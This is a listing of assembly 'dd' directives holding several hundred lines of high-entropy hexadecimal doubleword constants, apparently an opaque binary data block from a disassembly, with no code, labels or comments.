dd 0AA027EAh, 0D5200E50h, 0EDFAC629h, 0CE1CDC1Fh, 5527C661h
dd 26009E37h, 0E9958EEAh, 6043262Fh, 0A19274Ah, 0D62F30CFh
dd 0CF4B79B7h, 14D789CBh, 3B4D007Bh, 0B760FE18h, 0C400ABBCh
dd 0D2DC6B4Bh, 0B05A595h, 0E6E9D797h, 70B70558h, 4ABF7339h
dd 7C9A20Dh, 0CE7F25A9h, 66178B90h, 3F75BAh, 36DBF5Bh
dd 0C3815829h, 0CCBD60E8h, 93B200B5h, 2654DC95h, 58751040h
dd 0DF6968F4h, 207850A9h, 61042AA1h, 49BD3159h, 33FF69D1h
dd 8AFF62Fh, 32A985h, 81F38B58h, 711EB8F0h, 7D2D5FD9h
dd 0C080D72Fh, 7E0D3A5Bh, 6158DC95h, 401779BDh, 477B1112h
dd 0BE660402h, 75504AEBh, 8F0974F1h, 18721803h, 0E815776Ch
dd 4E31005Bh, 0ACF4A49Bh, 8102F058h, 484694EBh, 0DD6055Ah
dd 0FC139088h, 0D31880EEh, 85DC7DF6h, 0FEF1B58Fh, 3F0AE200h
dd 0EDDA999h, 0CC211CEBh, 76435340h, 3B012C22h, 0DBEF8312h
dd 3FC0A5EDh, 89D66F5h, 2B032166h, 4A89EF8Bh, 72103AD8h
dd 1B13007Eh, 7693E8FFh, 910EA5F0h, 4027212Dh, 0E99958D3h
dd 22D70F1Bh, 0E363EFC1h, 211B1DA1h, 2348892Eh, 43E5D88h
dd 95EDD5EFh, 35201C62h, 33EF91h, 0BFC052E4h, 0A51B175Eh
dd 0C8217760h, 663E356h, 241CD8E8h, 723A1968h, 4AD00CB8h
dd 0C211DEh, 58D27C4Bh, 0A1761EA8h, 301F603Ah, 539B21CDh
dd 59EC037Ch, 0C8AC712Bh, 4C73B800h, 0DC6F24E1h, 303B7546h
dd 22302F3Ah, 0B700D50Ch, 16EEA587h, 0CCFEADDEh, 6E211108h
dd 0D3B7ED07h, 2380C492h, 0A0075991h, 14B2A490h, 0E35C3036h
dd 0C33D6900h, 89046308h, 0E34EE4FDh, 0F1EBAE00h, 6DF83498h
dd 0A6A900D2h, 1D8B9BF9h, 1E0038EFh, 0E48AFD84h, 0B209Ah
dd 513CBBD9h, 1D1AD659h, 4B64CB02h, 0E0941C78h, 0D02B3Ch
dd 205DB5D9h, 0BFDBCCD5h, 0EB0E1800h, 329D7E74h, 7D620099h
dd 0F1B0753Ch, 770036BCh, 9E2C6957h, 0FC2CEDEh, 0E4F685BEh
dd 679D8C20h, 6EF832E6h, 5700957Ah, 124FBC5Ah, 60E39Bh
dd 0E79FC1A1h, 0A2C63F27h, 96053Ah, 63F52DF7h, 0E81C9335h
dd 14291C8Ah, 0A1307A8Bh, 357BD621h, 64D76F00h, 0D457854Eh
dd 156A004Fh, 10A45A0Ch, 22009972h, 0D5680F8Bh, 30E9B394h
dd 8340C50Dh, 0CE3A7C95h, 0CD10602Ah, 3510BE3h, 0EBAA39A4h
dd 830C9ACh, 0DBE721D2h, 0E2CAE60Bh, 28E500D8h, 516D6463h
dd 0EA1CC9F0h, 0EF434A27h, 67CC9EDDh, 414D38A0h, 80F2EEDBh
dd 568F9711h, 0CBA6F65h, 0EA74CAE9h, 21C09B08h, 0E85697A9h
dd 792760CCh, 913ABE28h, 0C466DA06h, 3C92938h, 18C7DC77h
dd 10029F69h, 0EBD91487h, 0FEA480B6h, 0C0996058h, 0CA071E98h
dd 52079A39h, 16461CCBh, 41E0D177h, 3FEF8h, 58679815h
dd 91BA8C4h, 1A3CBF00h, 46BBF251h, 0E0C11D4Fh, 56F04796h
dd 0C77CD09Ah, 15005EA4h, 11FE6D5Bh, 74065FCFh, 0E8F0F507h
dd 0FCD207A9h, 23315270h, 8308389h, 0B04A21FFh, 0B6F00ED2h
dd 57408248h, 8E843FC7h, 19B3700h, 592D7B2Ah, 1F9F0045h
dd 12670A5Bh, 18608C6Fh, 0E8440840h, 0C2F50EB5h, 9FE6D30Fh
dd 0CF0C2817h, 6918D216h, 404CAD2Eh, 43615AD1h, 0C0532F0Fh
dd 0C0B90F38h, 0C609EF86h, 8513093h, 0A0914930h, 0A5901467h
dd 0CAE6A187h, 0ACEF00A1h, 59442113h, 4C330FB2h, 0E80851h
dd 13A48C21h, 6291D62Ch, 236E3B00h, 0FDCBF32Eh, 0B461C367h
dd 4ED8B0E7h, 16187A3Dh, 2AA90FD9h, 7C910309h, 6CFD7F22h
dd 8051313Dh, 9931CC64h, 1C286CBh, 40F1EFEDh, 801B266Fh
dd 0A59ACF78h, 7DE4CCCh, 0F7E5AC76h, 0F2733D6h, 823C2100h
dd 16C7EFCBh, 0ABB60011h, 9C7E3BEBh, 0F606391Dh, 0CCF3641Ah
dd 7C8552D8h, 0C30EBE2h, 52DC03EEh, 0A8E30484h, 0F6D81D83h
dd 3A040F86h, 0C9C78F55h, 1870883h, 0D1703E09h, 20C691C0h
dd 16407504h, 0B9196024h, 99E1B45Dh, 2C49F303h, 0E8A68242h
dd 0F6DBE314h, 59D4244Ah, 80A41108h, 70E9D2B4h, 0E0448CBAh
dd 0D2BF0349h, 44A2A3Fh, 9FC09189h, 0B3C062C9h, 769AF882h
dd 0FC940688h, 21A88D6Fh, 0C580E209h, 0DB5001FDh, 0D1FCCF48h
dd 203C5896h, 6590B032h, 0A860A004h, 7021FDD2h, 0B34DC05Ah
dd 640EF5D2h, 230FDF8Fh, 0A8536D08h, 283D3CC1h, 1D0C354h
dd 9BE59489h, 0D5164546h, 0F34180F9h, 74EDC71Eh, 98594831h
dd 0A0131715h, 82D9BF00h, 44DB752Ch, 200E8F30h, 18CD8878h
dd 380FFFDAh, 6E400D11h, 79D30342h, 68E502CFh, 6EF790Fh
dd 9CC67CD5h, 48E82E0Eh, 5301B6CEh, 1B5CEDFFh, 78408B3Fh
dd 58008C98h, 4AB200BBh, 639765FCh, 0DC911E9Bh, 0D918FED1h
dd 6724AC03h, 0F41FB929h, 78C88h, 0B15AA58Eh, 55BD7E4Ah
dd 53CC8000h, 9AAF0ADEh, 0E6DC303Dh, 0CE4C2AC0h, 0ACCF3003h
dd 10C6DBABh, 3DEB6A8h, 0FDBA0BF8h, 0BE590253h, 0D9AB0A3Eh
dd 0D11162E0h, 18E24F3Ah, 93200BBDh, 120D0036h, 0FB57E1CEh
dd 6D00A6FEh, 68F10941h, 0F0EA95Dh, 34ED9CC1h, 0F823803Bh
dd 0D2B201A2h, 18AA70EBh, 0BD4788FBh, 0C1CCD204h, 9C80D635h
dd 0C3B74440h, 0E0E5CE58h, 0B58806F4h, 4480A730h, 0E7F060E4h
dd 1E71032Ch, 50884CAFh, 673513B0h, 0F0690F62h, 948C08FFh
dd 0E5B8645Eh, 190A008Ch, 5D7DA7DCh, 5C01841Dh, 15C6D73Eh
dd 60A9E975h, 60CCD398h, 12456220h, 1060980h, 37D5FC8h
dd 0E470201Ch, 0FE59981Fh, 0D63FF02Ah, 0DC92F3E0h, 8F22CB3Eh
dd 85A44Bh, 0A3B23825h
dd 157F070Ah, 0E25E553Fh, 7A6044EDh, 9D3993C1h, 0AE608094h
dd 5D88F02Eh, 0F2560F1Fh, 2723302Fh, 0B8A894DFh, 0AB001C35h
dd 481E269Fh, 957A851h, 9E4C9A2Dh, 5A19EA80h, 0B3033E52h
dd 0E942DDD1h, 0A72DC0A6h, 18E8F1DCh, 6C214C62h, 295B1875h
dd 8ABE189Ch, 3970D8F6h, 10FBD628h, 20AFD920h, 78069FDEh
dd 0D32F9E9Ch, 543E1F11h, 40598067h, 5851DBC4h, 212808CCh
dd 676D0011h, 0CC9B8C86h, 54062F3Bh, 9E79A259h, 81F92058h
dd 0A3BADE03h, 0C85FFD50h, 56102Ch, 6A8D5D41h, 989504A1h
dd 0E4D0F800h, 86EB2065h, 0BF39C09Ah, 57D188Ah, 0D2FBBD06h
dd 6008E51Ch, 95582194h, 0CE00C218h, 0C9B3C133h, 60B5A2A6h
dd 28DF80CCh, 0F0C0D262h, 0E423D7BFh, 60D84124h, 5203935Dh
dd 9B32E359h, 300896AEh, 0E420D7C9h, 0CB0393E8h, 0AAC63861h
dd 0A64D935Ch, 20948058h, 0CDFD33ABh, 3CD85B10h, 0BA00CE0Ch
dd 0EE793E54h, 3503D95h, 27A59861h, 5CA86744h, 5B00ABB9h
dd 6046DEDBh, 1317BCAh, 17A49CA9h, 209AB080h, 0D03D707h
dd 5CBF449Dh, 843CB874h, 225F03A2h, 11078A8Dh, 0C2917AE8h
dd 0B7A6C700h, 17B88506h, 0E2CB2472h, 212E0323h, 59F041ECh
dd 8E00A06Eh, 1A983F07h, 0D58328h, 8AA71E50h, 16619E97h
dd 0BEB66E0Fh, 0FE638066h, 5F81CBh, 1E2DB754h, 4FF6D18Dh
dd 671A400h, 4AAE99DDh, 0CFAF00F3h, 0C413F293h, 4378521Eh
dd 3F0031F4h, 1835A548h, 1637536h, 0CCFCC8ACh, 9D19BE9Fh
dd 7B9D2F48h, 0C1F68F00h, 3F560Bh, 0F8887F6Ch, 9D2BD442h
dd 3CD1C43Eh, 195E00F6h, 82AD8B60h, 54108E3h, 8F00F747h
dd 8C94C21Ch, 0E1771EAh, 86CCA148h, 54B9F820h, 10C0C045h
dd 6B64EABFh, 0BE76072Fh, 60E3FCA5h, 0D4AD0E06h, 0C2DA741Ch
dd 98FE294Fh, 0EB5670h, 172FD4Eh, 0E1F741D2h, 38314688h
dd 0E5817014h, 0A75DFC71h, 4FC881A6h, 790A6B5Ch, 0E618D0h
dd 0AB63DC39h, 33FF1C9Bh, 0F48CCF00h, 8EA8A7A6h, 4C072A75h
dd 0A0E4318Ch, 8408F619h, 8EF81469h, 2FC8BB80h, 18450E88h
dd 21E07AF4h, 943B31C9h, 4A872500h, 0E78CB7E9h, 895667C0h
dd 43EEB02Bh, 8118D5ABh, 0A018A562h, 3977008Ch, 38DF0AEFh
dd 42058397h, 8F2AC0F4h, 4DBA8BC0h, 2DFB1460h, 8D00B430h
dd 0B756941Fh, 0B83DEB6Ah, 3E6F8079h, 0F5970195h, 377BDFh
dd 73E4E9AEh, 0B1EB2766h, 2AA3400h, 2FB381BFh, 0CF830358h
dd 50D9F003h, 0E0A2F1C9h, 0DD01AE27h, 2E6D5452h, 408F9961h
dd 807F49DAh, 0B5D8F51h, 0DF000147h, 285E2F50h, 983D52D0h
dd 0C97806ABh, 20497405h, 65792776h, 20D8F529h, 30290FC2h
dd 0F61DD96Eh, 30304988h, 65A474h, 5448F7Bh, 29CD755h
dd 21C048E8h, 9365CF95h, 213200DBh, 90C9ADC1h, 0F140EF19h
dd 31960054h, 9FE2B40Ah, 250080B8h, 0D88FDFDCh, 38152DAh
dd 0A650FD18h, 300022D0h, 97707D9h, 0C645FA3h, 14A4DD20h
dd 21C02B08h, 8A091EE5h, 0F7D01422h, 62009892h, 0EB4F6E75h
dd 0B4A0322Dh, 0AD18DB11h, 53599680h, 0EC663D21h, 0EEF999E0h
dd 711C9D91h, 560C74C2h, 0C1E5089Ah, 91E99C21h, 371CF07Ah
dd 3A8DF405h, 0DC0F0C2Ch, 0D0E9143h, 989BE65Dh, 1A4C823h
dd 5FA10979h, 88361814h, 90060E7h, 747A5C78h, 638FAB70h
dd 398B581Bh, 9EFA918h, 3C3C5C91h, 8E803E4Eh, 0B73595BBh
dd 2D008407h, 0E3144B3Fh, 2755081h, 0CBAC25D9h, 84802C41h
dd 0FBDF1159h, 0BB6C5D3Bh, 0A5A8647Ah, 0A4097E60h, 111C5F23h
dd 65E6002Ah, 99CA6309h, 0F78B079Dh, 5371BABCh, 0B07B5993h
dd 53702406h, 610020Bh, 5BF41427h, 8CEE40B4h, 186749h
dd 75D4C31Fh, 0AABCD8h, 6F72197Eh, 36DECF09h, 59AD2401h
dd 5662660Eh, 30832A60h, 0BF882E95h, 0DBE018A7h, 80AE2505h
dd 0EC222445h, 91ED301Fh, 0EA719E11h, 9B87FE88h, 1DF091F4h
dd 8A806Ah, 7CD3F860h, 83ADC665h, 2C267228h, 8766446h
dd 92719F91h, 96400AC4h, 1F9891F7h, 0F9A17F30h, 3E813446h
dd 630F682Eh, 0B1A00DD4h, 2AA7C9A9h, 0FB29BB09h, 0BE0CA079h
dd 48E32F5Fh, 0D40068A8h, 0D892740h, 3091E75Ah, 7C86A791h
dd 6C563809h, 0B2F22DCh, 6B0963E4h, 0E6313801h, 0F4A8E9F9h
dd 0BC0CD3FBh, 60CA27DEh, 3C31C737h, 592DE30h, 4135EFCCh
dd 0C3588EB0h, 0DFEC4777h, 1382D60Fh, 9C8A4981h, 2C7301A2h
dd 9CD72283h, 0B170D1C8h, 3B29C0Bh, 98195F84h, 0DBA012E9h
dd 0C008C1Dh, 29FB019Dh, 1C419217h, 13022FE1h, 584C04ACh
dd 0D7AC8190h, 1022094Eh, 8C302CE2h, 55A900C6h, 0D32BAF9Ah
dd 0A0C117CDh, 56DB808Eh, 1EFCD0A0h, 54F03BFh, 4E1058F4h
dd 0C68607DCh, 71F08146h, 0EC1B9F00h, 0DBFCB82Bh, 0FD403AD3h
dd 77554977h, 561BA700h, 0AFEF2B47h, 21D73201h, 4B8169C3h
dd 0C0025C20h, 0F7BE7E68h, 5740BD5Bh, 91CB192Ah, 0F558993Eh
dd 7B40062Fh, 0D0305080h, 9DA8AAB7h, 802911DCh, 0D4BFECB7h
dd 13A07DD3h, 473C7DEBh, 0E14ECE0Ch, 523058F7h, 9C30C97Ch
dd 2BEF341Bh, 0A47C4CF0h, 1BEA1121h, 39C31D01h, 577BA371h
dd 0DB406040h, 76049850h, 14868A58h, 0EE12F17Dh, 6C3E53A3h
dd 0D5002823h, 8A5761C1h, 1C4348ECh, 4050EA24h, 9246D41Bh
dd 404C23F5h, 5E4C13B0h, 0E8F09458h, 61078CE1h, 0B1BBAC6Eh
dd 83803E7Fh, 51D4DE18h, 828D3D6h, 0A3C0F5A0h, 218F7865h
dd 5F9102CCh, 65CA9601h, 0F868CB88h, 0C0A3DB32h, 0FB9C40FCh
dd 0A5C10Fh, 3EEC0EBFh, 0C4741DD3h, 0E7068900h, 0C7B92078h
dd 589F1376h, 0CC18480Eh, 80ACB569h, 318A64Ah, 2714D068h
dd 236CD890h, 65BE01F4h, 18B48F79h, 0C9978852h, 5EAB651Fh
dd 682491ECh, 561D809h, 504886ECh, 97BC092h, 4465FC7h
dd 99002322h, 0EF060962h, 1D6C6BBDh, 44DFCC77h, 0D467CF5Eh
dd 0E1CC05Ch, 3C90032Eh, 98D16044h, 0F0FF4C78h, 23C29E3Fh
dd 91EA0B62h, 98E20D04h, 98880D00h, 2932FEF5h, 1D053F7h
dd 0F35A4931h, 0F940204Bh, 98CFD33Eh, 0CE8833B3h, 0FD3D26A9h
dd 8C0115B5h, 6F758F06h, 7C263048h, 60BF20B6h, 71A55151h
dd 5FDB245Bh, 0EF790654h, 10B081FFh, 65CF320h, 8E338132h
dd 89303953h, 4280410Eh, 457050h, 6FF0E1CBh, 472F5C6Bh
dd 9E900A50h, 0A4E65C90h, 0F4915EE8h, 71BBC400h, 4D0D74DAh
dd 7CFC5Ch, 5FB965Ah, 0DF644FA1h, 4B075072h, 0FC533E98h
dd 4532E8D0h, 675818D8h, 0CD499866h, 4F7C1900h, 0EA77DC07h
dd 0DB1F02C9h, 50EEB36Bh, 83991341h, 0C75FB40h, 3A583F12h
dd 0D8D1C903h, 5D8BA081h, 93067FD1h, 230CA6B0h, 2476F987h
dd 8B81901h, 0B420D8B5h, 9C54500h, 0BBE58B72h, 73D97EF3h
dd 0F1C89149h, 9A01852h, 0AC7C2C3Fh, 0B656C410h, 0F0FEE700h
dd 7242CDB3h, 37BD0B80h, 50373E3Dh, 797D4081h, 33D8A504h
dd 147A12FDh, 0FF100411h, 264F074Bh, 35EEA3h, 0E98B3639h
dd 119063C3h, 2785938h, 0F9C8ECB1h, 0C57F09Bh, 0A78005C9h
dd 18052740h, 0E383580Fh, 0B0502C90h, 61F71FE1h, 518F8E81h
dd 0A4CC2713h, 0A3720034h, 98F5F9D3h, 0A0190194h, 49EBD1F6h
dd 8E20BD3Fh, 6AA4A5CBh, 6E702096h, 6588C84h, 43A4BCA8h
dd 487E0054h, 0A9DA95EBh, 53701202h, 2998C03Fh, 63127314h
dd 0E020D4ABh, 13FA8EF4h, 40D3D0B7h, 4ABF5230h, 40072B3h
dd 0C3E20737h, 1F5D7BE5h
dd 41019CE9h, 0A40C8977h, 30A2D990h, 2C040D0Ch, 0F58094Eh
dd 0BB758101h, 0E1A840A1h, 0DE60F8ADh, 90695671h, 0D25C0145h
dd 0A370049Dh, 0E5422CFh, 2C8B91B4h, 98101Ah, 317C59B7h
dd 97E73A05h, 0A203D77Dh, 0A4F809F6h, 7F20B8B5h, 0BD2F830h
dd 9DE936CFh, 711B080h, 0D001F0Ah, 542B6104h, 78507E58h
dd 0AFFC0262h, 6AE6B14Dh, 5130FC60h, 0AAA87F80h, 567B60A4h
dd 884F01CBh, 814C642Ah, 0EB7F065h, 8BECDF09h, 0E57C2079h
dd 1A25BE9h, 6DC1C7EAh, 0DC7DCF26h, 7F3D8D85h, 0E9F8C59h
dd 924F401Eh, 0D17C1F30h, 3E4E403Dh, 319A04A5h, 4B386F00h
dd 2BD72A13h, 0B6820EE1h, 0A6408B30h, 0E56710C0h, 58F1BE00h
dd 89F3B9ABh, 0E957180h, 27C59E62h, 77B2E943h, 16C01CB3h
dd 3F001DB4h, 0F0D268F7h, 0B0924E79h, 0B03A03B6h, 20BBA6C4h
dd 0B2801800h, 30039ECDh, 0D7473CC7h, 5665E20Fh, 265F7B07h
dd 0C53928D5h, 610BB14Bh, 86E4A8AEh, 0C2B0007h, 0F377F657h
dd 950079D2h, 3E434F1Ch, 1F5AFE37h, 0C1C51A4Dh, 0F77132B7h
dd 0CA144107h, 4A68F846h, 0BCC7FE3Fh, 7876B0A2h, 3202B7F3h
dd 7ED1AACEh, 0A8151C90h, 0C78519C6h, 1B36E8C0h, 98943055h
dd 0E0A226D4h, 0BEC0C31Ah, 2142F171h, 1D9EA15Ch, 91C8B800h
dd 0FBAF207h, 3510B08Ch, 6E34B7ABh, 0DC40201Fh, 1A72F7BDh
dd 0D8F6D414h, 21640090h, 3D9F7057h, 0B1506215h, 0B3E075A8h
dd 2C015A45h, 95F1F5C9h, 86D83BC8h, 28C46337h, 3103F915h
dd 0B14258ECh, 0B502E0C7h, 186460E9h, 0E5FD7881h, 562FBD0Ch
dd 88C3785Ah, 67015EC9h, 330692CBh, 0A04128A6h, 8010745Fh
dd 37506ECAh, 27002C98h, 0D14DD02Eh, 7A925EC2h, 14350065h
dd 0F974BEB0h, 0B330023Ah, 0A65779EBh, 6124A993h, 0B1745310h
dd 0B0FE7603h, 0FC15FDh, 0EE46F7C1h, 0D76D4DB5h, 0E125A14h
dd 0FA8203F0h, 0B0F966D0h, 553B9D2Bh, 80F0B8DBh, 18A5611Ah
dd 843FDD47h, 875E5A48h, 32790C80h, 0EEC98EFh, 2B2E9692h
dd 0E2FE4940h, 8F0697DBh, 704D76B8h, 1ED9E481h, 80698CBCh
dd 5D122BBFh, 9A30EA26h, 65B52130h, 0CF28078Ah, 0B08623F0h
dd 0B642EC82h, 0D55A89A0h, 0F4171D2Ah, 0DDAE7801h, 86EA0629h
dd 12734FD8h, 3A60AFh, 0AB974D30h, 3354C934h, 46191DE4h
dd 37A167E7h, 3AD95D60h, 8A809A18h, 8DBD5FBCh, 700CC29Eh
dd 481E88F7h, 674C7396h, 0A2FAA134h, 8887A7BAh, 0A4D94C15h
dd 2734190Ch, 1C86E0CCh, 9437ACCAh, 303CD4C4h, 0EFE2D300h
dd 73D0DFA9h, 0D70E6212h, 0B751EF00h, 0CF1E3Fh, 0FF3630E3h
dd 4216AC11h, 74F4252Ch, 5A48F700h, 3EAE97C7h, 2060E766h
dd 9277B1C2h, 0C363590Bh, 580D8FFAh, 0C0AFE608h, 925FD120h
dd 0F1002199h, 8D9CD62Bh, 770CC4F0h, 0E3C60062h, 81D3458h
dd 4D33B49Dh, 0C16C3871h, 44403175h, 0F243A622h, 0EA4764Eh
dd 23DC445Ah, 3F212D8Ch, 0B00040FAh, 0A0B71321h, 0C38DD6B9h
dd 53362F30h, 0DA30680Ch, 60ED31D3h, 0FA5AA1FBh, 0B7000762h
dd 88303391h, 609FA413h, 81CD98F6h, 0C16CB49Ch, 8C5F9938h
dd 6B439002h, 1923F44Eh, 0B805101Bh, 3B980043h, 576A5EAEh
dd 241880F3h, 0CA58E735h, 0C45AF853h, 47C7DDA1h, 9B704C5h
dd 5906868Fh, 8E700081h, 9C9EB31Ch, 19010A37h, 4810869h
dd 5087AEE1h, 0D0F84846h, 0A76C1AE4h, 99239807h, 0EE008297h
dd 0E8CCABC9h, 0B83C00C8h, 0A8B4811h, 719065B4h, 0BE3C5477h
dd 73380D1h, 0FC3C2252h, 9CB15C88h, 0CF6E1B00h, 812C9E7Bh
dd 0A4D59A00h, 0E0CEF339h, 615D0054h, 0DF51FC1Fh, 23019708h
dd 0C08A3E89h, 0A1F4DA09h, 3A5FE6Bh, 0D387DFE8h, 0D2C02331h
dd 6C00AB0Bh, 91F72D81h, 7E9CEE4h, 3E797856h, 7F043AF8h
dd 0B01AF560h, 0D668A1A9h, 0FEF621D8h, 0E83500A1h, 33F77741h
dd 4D1E2F62h, 2140A08Eh, 9313C990h, 0A1440C06h, 0AF29D208h
dd 84626344h, 0DE883F73h, 66FB88ECh, 8875F588h, 0DF88A72Bh
dd 218C8BEFh, 1712465Eh, 88C3FA10h, 0F4801843h, 14AF00D2h
dd 0D6A70897h, 3D3E548Ch, 0C169807Dh, 35FCF128h, 5BEA00FEh
dd 0B481CC26h, 0E70178ECh, 3DD0D1Dh, 40D8C3D1h, 0F3F90093h
dd 0FADBAAD0h, 1EF68267h, 18E8E600h, 0ABC3DD79h, 7BB60059h
dd 0FA5D9825h, 0A7C12A4h, 0D7C9A807h, 809B9B35h, 0C806AB40h
dd 0B09000BEh, 0F6E5112Bh, 26C00A14h, 792DF205h, 5AC81FBBh
dd 7CE08395h, 0BFB0C180h, 4008DCBh, 0CA295C6Dh, 7B76ADABh
dd 27A107D6h, 0DA6C4Eh, 14EDE4ACh, 775F33Ch, 0D55B65EAh
dd 9D74F400h, 397C00D9h, 934FA2Fh, 80004BB6h, 0D80D7026h
dd 7B90B3h, 663A7A78h, 0E55DB476h, 5384C400h, 0AA040E68h
dd 0C2849E9h, 51B19F00h, 53E65E1Bh, 0DC708A60h, 0CC7E711h
dd 16F42C78h, 0F6002858h, 6D3E140Bh, 0E4908B9Bh, 936E009Ch
dd 0B4A2575Dh, 0CF000CD6h, 0D364897Ch, 48FB7559h, 760E48FAh
dd 9507C0C1h, 48D6006Eh, 0F85035E1h, 7E003084h, 2A36F279h
dd 7789F9h, 1E840E80h, 26B8D862h, 915BC100h, 1CEAAA76h
dd 0B7441DF2h, 0F40640E9h, 0FD74B180h, 0DC5118C0h, 7DB51197h
dd 50F01CDBh, 8ED03095h, 8F0047D1h, 93531DC2h, 484172h
dd 0C4896235h, 13C017FCh, 4F098600h, 0E1572503h, 2E8507D2h
dd 331D06E5h, 5482A93Dh, 0B909A040h, 4ADE48h, 8D1422ACh
dd 0D67833h, 0B0A354A1h, 7FE15A63h, 46F60C19h, 0E6D81224h
dd 0A3FB0013h, 97F49035h, 7B01DD75h, 31810255h, 2EC85DB1h
dd 0EC9F0019h, 0D31AC459h, 0B900B48Fh, 478DCA54h, 5735F9h
dd 91293E7h, 0BD7E84Eh, 0C36BCE00h, 0AD99E0EEh, 0F9380019h
dd 63467220h, 12015F93h, 1CEB83A7h, 0BBEC2A0Fh, 0F89F00C1h
dd 19B7E317h, 5D16B328h, 641CBD54h, 0B6895604h, 45655880h
dd 8AB51C5Ah, 3F4F40A5h, 78BA8BAAh, 71001C90h, 0C7DE53EDh
dd 0E062820h, 5BBE5874h, 9EB095C0h, 8E0C3D3h, 0E2ADC900h
dd 8714BC90h, 0E461008Dh, 0A2A0C702h, 2FB09D7Fh, 515C18C1h
dd 0D8F8ECA4h, 0C97A1EC6h, 0C5FD8019h, 64AF662h, 69099300h
dd 0E1F24F01h, 8B7F45h, 9E4325E5h, 94706854h, 7DEFE007h
dd 0F1E075ADh, 49815Fh, 0B2652C88h, 824DA418h, 80D73F3Bh
dd 9E857FFCh, 0E43B803Ah, 187466h, 4336A1ACh, 8C08F40Eh
dd 0C200B57Bh, 0A2BB71C9h, 103D919h, 7F063144h, 0E469FBC0h
dd 0EF0061B9h, 0C18118CEh, 7AF3BB65h, 940650A2h, 0F2D20054h
dd 6EE16837h, 0A400FB70h, 5702B51Bh, 7C5B29h, 2185A01Dh
dd 626EA966h, 2AF70600h, 3637402Fh, 48FB00EAh, 13BB292h
dd 1B981C86h, 0AFE3B507h, 6C10ACCEh, 0A730C33h, 2E35F02Dh
dd 924C07CCh, 0B8D281CDh, 8920205Fh, 60DFA000h, 5D946D13h
dd 0C0F648CFh, 0D1548500h, 31AF6EE8h, 0A0CECC00h, 0A1907CE9h
dd 9825F40Ah, 0E85500C5h, 3DEB80FDh, 474C4C5h, 4714Ch
dd 6B9186F7h, 55409E4h, 0C68701A2h, 2F5EC27Bh, 0CF889843h
dd 40E1306Bh, 85889788h, 64E4A724h, 0C6915900h, 0CFE9DDh
dd 0F16C1946h, 0DA849717h, 0F8CE2903h, 804555CAh, 3B43321h
dd 0F6CD828Fh, 0AE80117h, 184EF21Dh, 7C2CF9A0h, 101400C1h
dd 871F6E49h, 2D020AEBh, 73B6FB51h, 306626h, 8FC050EAh
dd 4DFD6D6Eh, 0EBE21300h, 430107D7h, 81140035h, 78823032h
dd 0B000C4E9h, 0AAA539D6h, 3EF716B6h, 4080FC63h, 69919AD5h
dd 1000B874h, 0FEDB236Fh
dd 30B3FFh, 8544217Fh, 0D6F33F71h, 0D13CB976h, 14C003ABh
dd 0D82ED3F0h, 3AE95DF9h, 3C804661h, 93C83730h, 6301FFD7h
dd 11633CAh, 949D1BF3h, 0D0414744h, 7769C0ADh, 0A0004EA9h
dd 6671D206h, 3D76ED14h, 9B000BE1h, 91DBC6B0h, 68003FB7h
dd 0AB43E9B3h, 73842973h, 0F01200E1h, 66198B61h, 67007C75h
dd 0A9F69E91h, 0B5C770h, 44528914h, 27931028h, 193E1B0Fh
dd 1F00F377h, 0DA7F5037h, 10EF00E3h, 0AD12ABBBh, 94025BC8h
dd 9EE79D15h, 6B97C07Bh, 9CDB00B1h, 0FAA2C90Bh, 0F0023D6h
dd 10D57F90h, 300EDE5Dh, 4040B2E0h, 3C0344F3h, 56C359FBh
dd 9F73E807h, 30F815h, 17FE18ECh, 7DDCF2D3h, 8CB20D00h
dd 0C5F410C2h, 37880012h, 0EF7A66EBh, 0A0009E7Fh, 2769986Bh
dd 71EA28C8h, 29E70045h, 0CA39B804h, 0AF07D04Ah, 4C80DF60h
dd 1CA7FB40h, 0E7BE002Bh, 57557E45h, 0EA39226Ch, 2369206h
dd 1B4C6000h, 0F81AF6Ah, 50E8678Bh, 932D1323h, 37538EF8h
dd 94B8C500h, 0C7012A70h, 4EAC03BBh, 0D3E8267Eh, 0C22402A9h
dd 956328E0h, 62D4C109h, 7E800E0h, 1DAC5D86h, 0ACB66466h
dd 36A702D3h, 0AC046B8h, 945C7C53h, 85EF01E8h, 4318CB5Bh
dd 1EB309F8h, 0DF762103h, 74BF87EAh, 0F1CD17A8h, 0E433ED49h
dd 3B0F2824h, 0C6698E91h, 168CB79h, 5AE30A39h, 0D4533D96h
dd 0E70FEF10h, 0C324E56Dh, 0B8F76193h, 22E15DCh, 12821CC4h
dd 0BC48F2E4h, 0BD010717h, 4CB89C3Bh, 0D4FC940Dh, 0B34D0B6Fh
dd 2010E6E7h, 0FF31C951h, 0D0A6200Ah, 5C07D0EFh, 0ADAE00A5h
dd 549D2327h, 830119E6h, 81BDD7C0h, 0A6EC50EBh, 9B0B0001h
dd 0D2D37F41h, 2004CB0h, 0C5ED5907h, 58E82FCBh, 3D023634h
dd 3EFB5D6h, 956EB5C0h, 6B13091Ch, 0A07DE98Eh, 0A5F76378h
dd 71B20094h, 8BE1C8E8h, 3A00A020h, 0DCABB5D9h, 0E25741CAh
dd 0F9BD583Dh, 79D0AC02h, 3860CE23h, 0C5001331h, 4098E71Ah
dd 0B03ED680h, 92A10E98h, 0E3E7C011h, 0D415F0FAh, 7C005A4Dh
dd 0A2917319h, 509483Ah, 0A965637Ah, 0C4E6831Fh, 3B215D0h
dd 6E006C99h, 280B4BFDh, 0F8CB3A9Eh, 0A98D4381h, 2840DAE3h
dd 813301E4h, 6F2CC787h, 2DC01465h, 294242h, 9739D494h
dd 146FE134h, 0E92C20CBh, 541F8B39h, 0C8305805h, 7157FD6h
dd 8FC365Bh, 405A03C3h, 26E6AB6h, 38666B2Eh, 9BBD8184h
dd 83EBACC7h, 0C32D55A2h, 4092D1EAh, 2EE80825h, 0B0D87F50h
dd 2E71C38h, 64F7C03Ch, 58142D72h, 9DFB4600h, 0B13BD676h
dd 0FE940101h, 0AEB352CAh, 2FE9C465h, 0C92B20Fh, 301421DBh
dd 4293501Eh, 15C500A2h, 84CF0BAAh, 0B94ED60Bh, 0D1300057h
dd 7E0C3411h, 0CDF8D0h, 96B14A54h, 49FAB509h, 21F3CB00h
dd 0DE8EB817h, 0AB0A3BFDh, 90BC3104h, 0C77807Ah, 373FAD4Fh
dd 48F88513h, 0C8C09740h, 5C8719F6h, 0AB0074ECh, 0E07581Fh
dd 0A1CB373h, 6A80150Bh, 0FFBAA78Dh, 941224AFh, 877180D0h
dd 0D9BE3098h, 6F842F00h, 5BC14365h, 75FA0085h, 37717B68h
dd 0A328971Dh, 0F40F9026h, 618CFE1Fh, 16521E87h, 8B012C28h
